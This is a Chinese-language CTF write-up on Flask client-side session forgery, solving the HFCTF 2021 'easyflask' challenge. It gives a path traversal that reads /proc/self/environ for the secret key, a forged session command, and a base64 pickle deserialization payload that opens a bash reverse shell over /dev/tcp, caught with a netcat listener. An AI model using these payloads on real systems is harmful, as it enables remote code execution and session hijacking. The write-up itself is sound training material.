Flask 造成的 Session 安全问题
在 Flask 中使用 Session
使用下面的代码设置一个 Session,代码里的secret_key
是很重要的:
1 | from flask import Flask, session |
访问127.0.0.1
就可以看到设置的 Session:
从代码来看,我们只能以 anonymous 身份登录,那我们能不能不修改代码来使用 admin 身份来登录呢,通过 Session 的伪造就可以做到(已经知道了secret_key
)。
Flask 的 Session 安全问题
在传统 PHP 开发中,$_SESSION
变量的内容默认会被保存在服务端的一个文件中,通过一个叫PHPSESSID
的Cookie
来区分用户。这类Session
是 服务端 Session,用户看到的只是 Session 的名称(一个随机字符串),其内容保存在服务端。
然而,并不是所有语言都有默认的 Session 存储机制,也不是任何情况下我们都可以向服务器写入文件。所以,很多 Web 框架都会另辟蹊径,比如 Django 默认将 Session 存储在数据库中,而对于 Flask 这里并不包含数据库操作的框架,就只能将 Session 存储在 Cookie中。因为 Cookie 实际上是存储在客户端(浏览器)中的,所以称之为 客户端 Session。
将 Session 存储在客户端 Cookie 中,最重要的就是解决 Session 被篡改的问题,Flask 通过一个secret_key
来解决这类问题,只要不知道secret_key
,就不能伪造 Session,但 Flask 仅仅对数据进行了签名。众所周知的是,签名的作用是防篡改,而无法防止被读取。而 Flask 并没有提供加密操作,所以其 Session 的全部内容都是可以在客户端读取的,这就可能造成一些安全问题。
对 Session 进行解密
1 | #!/usr/bin/env python3 |
可以对上面的 Session 进行解密:
通过上述脚本解密处 Session ,我们就可以大概知道 Session 中存储着哪些基本信息。然后我们可以通过其他漏洞(例如 SSTI)获取用于签名认证的 secret_key ,进而伪造任意用户身份。
伪造 Session
想要伪造 Session 就必须要知道 secret_key,其次还需要 一个脚本,使用下面的命令来伪造成 admin 身份:
把生成的 Session 覆盖原有的 Session 再刷新页面,身份就变成了 admin,整个过程中最难的地方应该就是如何获取到secret_key
。
[HFCTF 2021 Final]easyflask
读取源码
进入题目,根据提示可以读取源码/file?file=/app/source
:
1 | #!/usr/bin/python3.6 |
获取 SECRET_KEY
接着来审计源码,首先可以看到SECRET_KEY
被隐藏了,如果想伪造 Session 就要想办法从其他地方得到它,看到/file
这个路由,os.path.join('static', path)
函数:
os.path.join()
函数可以智能地拼接一个或多个路径部分,如果某个部分为绝对路径,则之前的所有部分会被丢弃并从绝对路径部分开始继续拼接
简单的说如果某部分为绝对路径,将只返回这个绝对路径,这样就可以读取除条件中限定外(if 中的限制)的所有文件,在这里读取/proc/self/environ
,这是个特殊的目录:
linux 提供了
/proc/self/
目录,这个目录比较独特,不同的进程访问该目录时获得的信息是不同的,内容等价于/proc/本进程pid/
,/proc/self/environ
是此文件包含设置的初始环境,换句话说就是该进程的环境变量
访问/file?file=/proc/self/environ
得到 SECRET_KEY:
1 | secret_key=glzjin22948575858jfjfjufirijidjitg3uiiuuh |
获取 SECRET_KEY 后我们就可以控制 Session 了,配合下面的反序列化漏洞就可以进行 RCE 了
反序列化漏洞
源码中还使用了 pickle 库:
pickle 是 python 语言的一个标准模块,实现了基本的数据序列化和反序列化
在 47 行左右进行了反序列化的操作,类比 PHP 里的__wakeup()
,pickle 中有__reduce__()
,当对象被 Pickle 时就会被调用。
另外pickle.loads
会解决import
问题,对于未引入的module
会自动尝试import
。那么也就是说整个 Python 标准库的代码执行、命令执行函数都可以进行使用。
这里用反弹 Shell 的方法来读取 flag,下面的代码用来生成攻击代码(填上 YOUR_IP 和 PORT,在 Linux 使用 Python2 运行):
1 | import os |
拿到攻击代码:
1 | Y3Bvc2l4CnN5c3RlbQpwMAooUyJiYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzEyNy4wLjAuMS84MDgwIDA+JjEnIgpwMQp0cDIKUnAzCi4= |
解密原有的 Session
原有 Session 为:
1 | eyJ1Ijp7IiBiIjoiZ0FTVkdBQUFBQUFBQUFDTUNGOWZiV0ZwYmw5ZmxJd0VWWE5sY3BTVGxDbUJsQzQ9In19.YpIhtw.dY6WU10WEzkH6ow455LWWJVwfqw |
用脚本(上文已给出)解密得到:
1 | {'u': b'\x80\x04\x95\x18\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x04User\x94\x93\x94)\x81\x94.'} |
构造伪造的 Session
使用脚本(上文已给出)来生成伪造的 Session,攻击 Session 填写在键值 b 的后面(最好使用 Linux 来制作,在我的环境里 Windows 下打不通):
1 | python make.py encode -s 'glzjin22948575858jfjfjufirijidjitg3uiiuuh' -t "{'u':{'b':'Y3Bvc2l4CnN5c3RlbQpwMAooUyJiYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzEyNy4wLjAuMS84MDgwIDA+JjEnIgpwMQp0cDIKUnAzCi4='}}" |
加一层 b 是因为只有这样才能调用b64decode()
对经过base64
编码的bytes-like
对象或者ASCII
进行解码
生成 Payload(每次重新生成会有变化,但不影响结果):
1 | eyJ1Ijp7ImIiOiJZM0J2YzJsNENuTjVjM1JsYlFwd01Bb29VeUppWVhOb0lDMWpJQ2RpWVhOb0lDMXBJRDRtSUM5a1pYWXZkR053THpFeU55NHdMakF1TVM4NE1EZ3dJREErSmpFbklncHdNUXAwY0RJS1VuQXpDaTQ9In19.YpIrxg.x02lam0JKj853mD3il94buhPa9o |
覆盖 Session 服务器监听
使用生成的 Payload 替换掉原有的 Session,访问/admin
,并在服务器上用 nc 监听(PORT 为上文的端口):
1 | netcat -lvnp PORT |
读取 flag
服务器有反应后,在根目录读取到 flag
源码
再来看看真正的源码,SECRET_KEY:
1 | app.config["SECRET_KEY"] = os.getenv("secret_key", "glzjin22948575858jfjfjufirijidjitg3uiiuuh") |
os.getenv 函数根据 key 值获取环境变量的值,不存在则返回 default 值
本文参考链接: